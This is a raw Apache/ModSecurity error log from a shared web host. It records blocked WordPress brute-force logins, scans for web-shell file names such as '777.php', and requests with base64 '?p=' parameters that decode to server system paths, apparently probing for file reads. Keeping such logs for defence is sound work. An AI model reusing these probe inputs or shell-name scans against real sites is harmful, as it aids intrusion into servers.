https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:07:32.176117 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:32.176427 2026] [access_compat:error] [pid 531155:tid 531189] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRlL2dzc3JwYw== [Sat Jun 13 18:07:32.204529 2026] [security2:error] [pid 531797:tid 532066] [client 148.113.209.179:47340] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wxMTA7b1mZrmcA-8IQwAAAlg"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:32.313388 2026] [security2:error] [pid 531797:tid 531921] [remote 103.127.30.137:46366] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "paulmerceronline.com"] [uri "/wp-login.php"] [unique_id "ai3wxMTA7b1mZrmcA-8IRwACkjk"], referer: https://paulmerceronline.com/wp-login.php [Sat Jun 13 18:07:32.346903 2026] [security2:error] [pid 531155:tid 531229] [remote 87.192.224.131:49328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.224.192.87.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3wxCmiP80klyS0NnrlLAABSUk"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:07:32.370362 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.84:45592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:32.370643 2026] [access_compat:error] [pid 531797:tid 531982] [remote 57.141.14.84:45592] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:32.657468 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0Mw== [Sat Jun 13 18:07:32.657920 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo0Mw== [Sat Jun 13 18:07:32.715537 2026] [security2:error] [pid 531155:tid 531359] [client 191.234.188.123:63811] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/kiwkiw.php"] [unique_id "ai3wxCmiP80klyS0NnrlMgAAAVQ"] [Sat Jun 13 18:07:32.716995 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.78:62308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:32.717385 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.78:62308] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:32.736521 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:07:32.736839 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZQ== [Sat Jun 13 18:07:32.787796 2026] [security2:error] [pid 531155:tid 531351] [client 191.233.234.186:60633] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/spawns.php"] [unique_id "ai3wxCmiP80klyS0NnrlNQAAAUw"] [Sat Jun 13 18:07:33.191204 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MQ== [Sat Jun 13 18:07:33.191507 2026] [access_compat:error] [pid 531155:tid 531204] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MQ== [Sat Jun 13 18:07:33.266087 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:33.266363 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:33.318344 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.22:50366] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:33.318628 2026] [access_compat:error] [pid 531155:tid 531273] [remote 57.141.14.22:50366] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:33.320384 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9kZXZpY2VzL2NwdQ== [Sat Jun 13 18:07:33.320674 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9kZXZpY2VzL2NwdQ== [Sat Jun 13 18:07:33.476211 2026] [security2:error] [pid 531797:tid 532069] [client 191.234.188.123:63877] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/ww.php"] [unique_id "ai3wxcTA7b1mZrmcA-8IkgAAAls"] [Sat Jun 13 18:07:33.504918 2026] [security2:error] [pid 531155:tid 531406] [client 191.234.188.123:33119] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/yas.php"] [unique_id "ai3wxSmiP80klyS0NnrlRQAAAYM"] [Sat Jun 13 18:07:33.513953 2026] [security2:error] [pid 531797:tid 532063] [client 191.233.234.186:54806] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/777.php"] [unique_id "ai3wxcTA7b1mZrmcA-8IlwAAAlU"] [Sat Jun 13 18:07:33.705801 2026] [security2:error] [pid 531797:tid 532091] [client 148.113.209.179:47350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wxcTA7b1mZrmcA-8InAAAAnA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:33.716570 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8wL3N1YnN5c3RlbQ== [Sat Jun 13 18:07:33.717026 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvc2VyaW8wL3N1YnN5c3RlbQ== [Sat Jun 13 18:07:33.802283 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.53:51378] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:33.802566 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.53:51378] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:33.812405 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNQ== [Sat Jun 13 18:07:33.812698 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNQ== [Sat Jun 13 18:07:33.866402 2026] [security2:error] [pid 531155:tid 531387] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/session/tests/session_start_variation2.phpt"] [unique_id "ai3wxSmiP80klyS0NnrlSwAAAXA"] [Sat Jun 13 18:07:33.942555 2026] [security2:error] [pid 531797:tid 532108] [client 191.234.188.123:32172] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/ccs.php"] [unique_id "ai3wxcTA7b1mZrmcA-8IogAAAoE"] [Sat Jun 13 18:07:33.954396 2026] [security2:error] [pid 531155:tid 531167] [remote 17.241.75.128:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 128.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wxSmiP80klyS0NnrlUAABfQs"] [Sat Jun 13 18:07:34.002515 2026] [security2:error] [pid 531797:tid 531872] [remote 17.246.19.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wxsTA7b1mZrmcA-8IpAACNAg"] [Sat Jun 13 18:07:34.173849 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MQ== [Sat Jun 13 18:07:34.174142 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MQ== [Sat Jun 13 18:07:34.231679 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:07:34.232117 2026] [access_compat:error] [pid 531155:tid 531226] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:07:34.320935 2026] [security2:error] [pid 531155:tid 531280] [remote 17.22.253.80:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 80.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wximiP80klyS0NnrlWgABQnw"] [Sat Jun 13 18:07:34.431573 2026] [security2:error] [pid 531797:tid 532125] [client 148.113.209.179:47352] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wxsTA7b1mZrmcA-8IsQAAApA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:34.605467 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.89:38628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:34.605757 2026] [access_compat:error] [pid 531155:tid 531178] [remote 57.141.14.89:38628] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:34.617149 2026] [security2:error] [pid 531797:tid 532081] [client 138.201.153.38:47852] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "grupowebmex.com"] [uri "/"] [unique_id "ai3wxsTA7b1mZrmcA-8IvQAAAmc"] [Sat Jun 13 18:07:34.638867 2026] [security2:error] [pid 531155:tid 531250] [remote 17.241.227.244:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 244.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wximiP80klyS0NnrlXwABNl4"] [Sat Jun 13 18:07:34.651946 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.40:24364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:34.652368 2026] [access_compat:error] [pid 531155:tid 531175] [remote 57.141.14.40:24364] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:34.656754 2026] [security2:error] [pid 531155:tid 531408] [client 148.113.209.179:47368] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wximiP80klyS0NnrlYgAAAYU"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:34.702071 2026] [access_compat:error] [pid 531797:tid 531951] [remote 57.141.14.59:36875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:34.702355 2026] [access_compat:error] [pid 531797:tid 531951] [remote 57.141.14.59:36875] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:34.746436 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2RtX2xvZw== [Sat Jun 13 18:07:34.746717 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvbW9kdWxlL2RtX2xvZw== [Sat Jun 13 18:07:34.810128 2026] [security2:error] [pid 531155:tid 531245] [remote 17.246.15.235:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 235.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wximiP80klyS0NnrlZgABWFk"] [Sat Jun 13 18:07:34.815902 2026] [security2:error] [pid 531797:tid 532041] [client 62.84.185.60:34522] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.allmattingsolutions.com.au"] [uri "/robots.txt"] [unique_id "ai3wxsTA7b1mZrmcA-8IywAAAkA"] [Sat Jun 13 18:07:34.815977 2026] [security2:error] [pid 531797:tid 532041] [client 62.84.185.60:34522] ModSecurity: Warning. Matched phrase "MJ12bot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "406"] [hostname "www.allmattingsolutions.com.au"] [uri "/robots.txt"] [unique_id "ai3wxsTA7b1mZrmcA-8IywAAAkA"] [Sat Jun 13 18:07:34.846579 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.39:33134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:34.846871 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.39:33134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:34.856705 2026] [access_compat:error] [pid 531155:tid 531214] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 